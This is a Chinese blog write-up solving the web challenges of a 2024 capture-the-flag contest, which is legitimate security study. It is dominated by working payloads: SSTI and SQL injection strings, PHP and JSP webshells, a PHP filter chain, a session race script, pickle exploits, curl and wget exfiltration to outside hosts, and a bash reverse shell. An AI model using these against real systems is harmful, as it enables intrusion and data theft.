2024源鲁杯web题解

使用目录功能请直接点击标题

[Round 1] Disal(php)

image

image

也就是a>999999,且a里面要有至少五个字母
b要大于1234并且b不能为纯数字

image

a=9999999aaaaaa&b=12345aaa

[Round 1] Injct(ssti)


import requests
res = ''
s = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_{}'

for i in range(1,50):
    for j in s:
        url = "http://gzctf.imxbt.cn:50081/greet"
        data= {
            "name":"{%if((''|attr((lipsum|string|list).pop(18)*2~'cla''ss'~(lipsum|string|list).pop(18)*2)|attr((lipsum|string|list).pop(18)*2~'mro'~(lipsum|string|list).pop(18)*2)|attr((lipsum|string|list).pop(18)*2~'geti''tem'~(lipsum|string|list).pop(18)*2)(1)|attr((lipsum|string|list).pop(18)*2~'subc''lasses'~(lipsum|string|list).pop(18)*2)()|attr((lipsum|string|list).pop(18)*2~'geti''tem'~(lipsum|string|list).pop(18)*2)(101)|attr((lipsum|string|list).pop(18)*2~'init'~(lipsum|string|list).pop(18)*2)|attr((lipsum|string|list).pop(18)*2~'global''s'~(lipsum|string|list).pop(18)*2)|attr((lipsum|string|list).pop(18)*2~'getit''em'~(lipsum|string|list).pop(18)*2)((lipsum|string|list).pop(18)*2~'builtin''s'~(lipsum|string|list).pop(18)*2)|attr((lipsum|string|list).pop(18)*2~'geti''tem'~(lipsum|string|list).pop(18)*2)('ev''al')((lipsum|string|list).pop(18)*2~'imp''ort'~(lipsum|string|list).pop(18)*2)('o''s')|attr('po''pen')('head$IFS$9-c$IFS$9"+str(i)+"$IFS$9/flag')|attr('re''ad')())=='"+str(res+j)+"')%}success{%endif%}"
        }
        headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
        r = requests.post(url, headers=headers,data=data)
        if "success" in r.text:
            res+=j
            print(res)
            break

爆破脚本

[Round 1] pExpl(php反序列化)

不是太理解粘的官方wp

代码实现了一个反序列化功能。存在 throw new Exception("Test!"); 和检测?php ,可以通过绕过 gc 和 短标签的形式去绕过该限制。

构造一下 POP 链,根据分析利用点在以下代码:
image

触发点通常就是常见的__destruct():

image

通过它调用到User#__toString ,该方法中存在 call_user_func 函数,思考能不能直接触发命令执行,由于存在参数的限制,显然不能直接调用,所以考虑调用类中不存在的函数,触发 __call 方法。

image

由于上述代码中,存在 in_array 的判断,所以需要调用到 array 中的一个,然后在触发文件写入,构造exp如下:

<?php
class FileHandler {
    private $fileHandle;
    private $fileName;
    public function __construct($fileName){
        $this->fileName = $fileName;
    }
}

class User {
    private $userData = [];
}

class Logger {
    private $logFile;
    private $lastEntry;
    public function __construct($logFile)
{
        $this->logFile = $logFile;
    }
}

$c = new Logger("/var/www/html/1.php");

$b = new User();
$b->data = [$c,"info"];
$b->params = '<?=@eval($_POST[1]);?>';
$a = new FileHandler($b);

$a1 = array($a,null);
$s = serialize($a1);
$s = str_replace('1;N', '0;N', $s);

echo urlencode($s);
得到flag

[Round 1] Injct[ssti]

ssti并且过滤了print {{}} 那么只能用if语句来外带,同时测试发现禁用了curl那么我们用wget来外带
使用fenjing构造:

{%if(((((((((((lipsum|attr((lipsum|escape|batch(22)|list|first|last)*2+'globals'+(lipsum|escape|batch(22)|list|first|last)*2))|attr((lipsum|escape|batch(22)|list|first|last)*2+'getitem'+(lipsum|escape|batch(22)|list|first|last)*2))((lipsum|escape|batch(22)|list|first|last)*2+'builtins'+(lipsum|escape|batch(22)|list|first|last)*2))|attr((lipsum|escape|batch(22)|list|first|last)*2+'getitem'+(lipsum|escape|batch(22)|list|first|last)*2))(('e'+'v'+'a'+'l')))((lipsum|escape|batch(22)|list|first|last)*2+('i'+'m'+'p'+'o'+'r'+'t')+(lipsum|escape|batch(22)|list|first|last)*2))('os')|attr(('p'+'o'+'p'+'e'+'n')))((('%c'*34)%(119,103,101,116,32,49,50,52,46,50,50,48,46,51,55,46,49,55,51,58,50,51,51,51,47,96,99,97,116,32,47,102,42,96))))|attr('read'))()))%}{%endif%}

尝试手动构造:

{%if(lipsum|attr(('%c'%95)*2+'globals'+('%c'%95)*2)|attr(('%c'%95)*2+'getitem'+('%c'%95)*2)('os')|attr('%c%c%c%c%c'|format(112,111,112,101,110))('\\167\\147\\145\\164\\40\\150\\164\\164\\160\\72\\57\\57\\61\\62\\64\\56\\62\\62\\60\\56\\63\\67\\56\\61\\67\\63\\72\\62\\63\\63\\63\\57\\140\\154\\163\\140')|attr('read')())%}{%endif%}

来源

[Round 1] TOXEC

不能上传jsp
jsp的文件上传漏洞
先上传
shell.xml

<% if(request.getParameter("cmd")!=null){  
    java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();  
    int a = -1;  
    byte[] b = new byte[2048];  
    out.print("<pre>");  
    while((a=in.read(b))!=-1){  
        out.print(new String(b));  
    }  
    out.print("</pre>");  
}  

%>

上传路径为../WEB-INF/shell.xml
image

再构造一个web.xml
上传覆盖原本的web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
    <servlet>
        <servlet-name>exec</servlet-name>
        <jsp-file>/WEB-INF/shell.xml</jsp-file>
        <load-on-startup>1</load-on-startup>
    </servlet>
    <servlet-mapping>
        <servlet-name>exec</servlet-name>
        <url-pattern>/exec</url-pattern>
    </servlet-mapping>
</web-app>

上传路径为../WEB-INF/web.xml
之后去/exec执行命令即可

image

[Round 1] sInXx

过滤了,空格等
参考资料

1'/**/UNION/**/SELECT/**/*/**/FROM/**/((SELECT/**/1)A/**/join/**/(SELECT/**/1)B/**/join/**/(SELECT/**/1)C/**/join/**/(SELECT/**/1)D/**/join/**/(SELECT/**/1)E)#

image
可行
接下来按部就班即可
information_schema库被禁用
找替代就行

sys.x$schema_flattened_keys
sys.schema_table_statistics_with_buffer
sys.x$schema_table_statistics_with_buffer
1'/**/UNION/**/SELECT/**/*/**/FROM/**/((SELECT/**/GROUP_CONCAT(TABLE_NAME)/**/FROM/**/sys.x$schema_table_statistics_with_buffer/**/WHERE/**/TABLE_SCHEMA=DATABASE())A/**/join/**/(SELECT/**/1)B/**/join/**/(SELECT/**/1)C/**/join/**/(SELECT/**/1)D/**/join/**/(SELECT/**/1)E)#
1'/**/UNION/**/SELECT/**/*/**/FROM/**/((SELECT/**/`2`/**/FROM/**/(SELECT/**/*/**/FROM/**/((SELECT/**/1)a/**/JOIN/**/(SELECT/**/2)b)/**/UNION/**/SELECT/**/*/**/FROM/**/DataSyncFLAG)p/**/limit/**/2/**/offset/**/1)A/**/join/**/(SELECT/**/1)B/**/join/**/(SELECT/**/1)C/**/join/**/(SELECT/**/1)D/**/join/**/(SELECT/**/1)E)#

image

[Round 2] Cmnts

image
image

image

很明显的一个变量覆盖

image

[Round 2] PHUPE

给了源码
知道是一个Smarty模板
替换tpl文件实现命令执行
因为有过滤所以我们进行 ASCII 绕过

{extends file='views/layout.tpl'}
{block name=content}
    <h1>CTF File Reader</h1>
    <form method="post" enctype="multipart/form-data">
        <input type="file" name="file">
        <button type="submit">Upload</button>
    </form>
    <pre>{$file_content}</pre>
{math equation="(\"\\163\\171\\163\\164\\145\\155\")(\"\\143\\141\\164\\40\\57\\146\\154\\141\\147\")"}
{/block}
使用 {math} 标签执行数学运算,但这里的 equation 字符串实际上是一段使用 ASCII 码表示的文本。解码后,这些字符转换为:("system")("cat /flag")。
\163\171\163\164\145\155 解码后为 "system"。
\143\141\164\40\57\146\154\141\147 解码后为 "cat /flag"。
这段代码尝试在 Smarty 模板中执行系统命令,通过调用 system("cat /flag") 读取敏感文件内容(如 flag 文件内容)

[Round 2] Pseudo

image
源码审过后发现这里可以利用,下载的东西只进行了mime_content_type 函数判断文件类型
我们只要在flag文件的最前面伪造出GIF89A即可
可以利用filter过滤器的编码组合构造GIF89A
就是利用不同编码转换在原有数据前产生我们想要的字符
具体资料

https://tttang.com/archive/1395/
https://blog.csdn.net/qq_46266259/article/details/129034405
https://gynvael.coldwind.pl/?id=671
https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d

随便上传一个图片
然后抓取下载包
更改file

payload:

php://filter/convert.base64-encode|convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UTF16|convert.iconv.L6.UTF-16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|/resource=/flag

image

先去掉图片头再base64

image

image

再去掉前面多伪造的字符即可得到flag

image
image

[Round 2] RedFox

登陆过后发现有一个可远程url的地方可以想到利用ssrf
image

image

image

经过测试发现确实可以

下面复现不成功粘的官方wp

成功读取,不过常规的 /flag 读取不到 flag ,判断应该是考查其它利用方式。利用 file 协议读取本地文件,发现在 post.php 存在如下函数:

image

允许我们读取文件,那么之后读取index.php,在以下位置发现可疑调用:

image

获取 test 方法内容如下:

image
image

发现直接提供了一个eval 代码执行,但是限制我们传入的参数,不能为字母数字,且不一致不能超过7个。

考虑利用 ./???/??? 的方式进行利用,但是需要存在一个临时文件,考虑利用 sess 临时文件,读取配置文件发现该保存目录为,如下图:

image

然后编写脚本写入一句话木马:


import io
import sys
import requests
import threading

sessid = '123123123123123'

def WRITE(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        session.post(
            'http://192.168.50.193:18999/index.php',
            data={
                "PHP_SESSION_UPLOAD_PROGRESS": "1\necho '<?php eval($_POST[1]);'>/var/www/html/uploads/1.php\n"},
            files={"file": ('q.txt', f)},
            cookies={'PHPSESSID': sessid}
        )

def READ(session):
    while True:
        request = requests.session()
        data = {
            'action': 'login',
            'username': 'test',
            'password': 'test123'
        }
        request.post("http://192.168.50.193:18999", data=data)

        data = {
            'action': 'download_message',
            'data': '`. /???/???/???/???/????????????????????`;'
        }
        request.post("http://192.168.50.193:18999/", data=data)

        if requests.get("http://192.168.50.193:18999/uploads/1.php").status_code != 404:
            print('Success!')
            exit(0)

with requests.session() as session:
    t1 = threading.Thread(target=WRITE, args=(session,))
    t1.daemon = True
    t1.start()

    READ(session)

[Round 2] SNEKLY

复现失败

题目直接提供源码审计,关键触发点应该在于 /unSer,需要构造出 user['data'] 才能够进行反序列化,进行测试后发现存在一处SQL注入,存在 username 与 password 的一致性检测,考虑利用SQL Quine来进行构造绕过,并且将 user['data'] 位置写入反序列化数据。

关于 SQL Quine 的构造,通常都是以 REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46) 的形式,详细如下:

select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');

利用'replace(".",char(46),".")');替换'replace(".",char(46),".")' 中的符号.

输入和输出的结果为:

replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');

replace("replace(".",char(46),".")",char(46),"replace(".",char(46),".")") ;

然后分析 pickle 反序列化,过滤了一些字符,但是可以利用以下 payload 进行绕过:

b'''c__builtin__
filter
p0
0(S'curl http://`whoami`.c6jqhw6vgg44g1o9ys27ay6rbih950tp.oastify.com'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
tuple
p4
(g3
t\x81.'''

exp


import base64
import requests


def quine(data):
    data = data.replace('$$', "REPLACE(REPLACE(REPLACE($$,CHAR(39),CHAR(34)),CHAR(36),$$), CHAR(92), CHAR())")
    data1 = data.replace("'", '"').replace('$$', "'$'")
    data = data.replace('$$', f'"{data1}"')
    return data


def exp():
    username = "test\"'"

    opcode = b'''c__builtin__
filter
p0
0(S'curl http://`cat /f*`.3cgdgr4i4bjr3ytl38s6zm0mddj47vvk.oastify.com'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
tuple
p4
(g3
t\x81.'''
    a = base64.b64encode(opcode).decode()
    res = ''
    for i in a:
        if ord(i) > 58 or ord(i) < 47:
            res += "||CHAR(" + str(ord(i)) + ")"
        else:
            res += "||" + i
    res = res[2:]

    password = f" UNION SELECT $$, CHAR({','.join(str(ord(c)) for c in username)}), $$,({res});-- -"
    password = quine(password)

    requests.post(url="http://gzctf.imxbt.cn:50137/login",
                  data={
                      "username": username,
                      "password": password
                  })

    requests.get(url="http://gzctf.imxbt.cn:50137/unSer")


if __name__ == "__main__":
    exp()

得到flag
image

[Round 3] 404

查看源码

image
image

抓包访问

image
image

直接前端禁用js
php脚本跑答案再上传

image

image

也可以直接搓脚本


import requests
import re
import math

session = requests.Session()

url = 'http://xxx.xxx.xxx.xxx/ca.php'  # 替换为你的目标URL
response = session.get(url)


question_match = re.search(r'<pre>(.*?)</pre>', response.text, re.DOTALL)
if question_match:
    question_steps = question_match.group(1).strip()

    question_steps = question_steps.replace('$', '')

    question_steps = question_steps.replace('sqrt', 'math.sqrt')
    question_steps = question_steps.replace('pow', 'math.pow')
    question_steps = question_steps.replace('log', 'math.log')
    question_steps = question_steps.replace('sin', 'math.sin')
    question_steps = question_steps.replace('cos', 'math.cos')
    question_steps = question_steps.replace('tan', 'math.tan')
    question_steps = question_steps.replace('abs', 'math.fabs')
    question_steps = question_steps.replace('exp', 'math.exp')

    print("提取到的数学题步骤:\n", question_steps)

    local_vars = {}
    try:
        exec(question_steps, {"math": math}, local_vars)
        answer = local_vars['answer']


        rounded_answer = round(answer, 2)
        print("计算出的答案(保留两位小数):", rounded_answer)


        data = {
            'user_answer': f"{rounded_answer:.2f}" 
        }
        result = session.post(url, data=data)

        print("提交后的页面内容:")
        print(result.text)
    except Exception as e:
        print("计算过程中发生错误:", e)
else:
    print("未找到计算公式")

[Round 3] PRead

Pickle反序列化

到处文件是个pkl
很明显是Pickle反序列化

image

import pickle
import os
class A(object):
    def __reduce__(self):
            return (eval, ('os.system("bash -c \'bash -i >& /dev/tcp/156.238.233.53/5555 0>&1\'")',))

a = A()
with open('modified_command.pkl', 'wb') as f:
    pickle.dump(a, f)

image

posted @ 2024-11-01 20:05  DGhh  阅读(14)  评论(0编辑  收藏  举报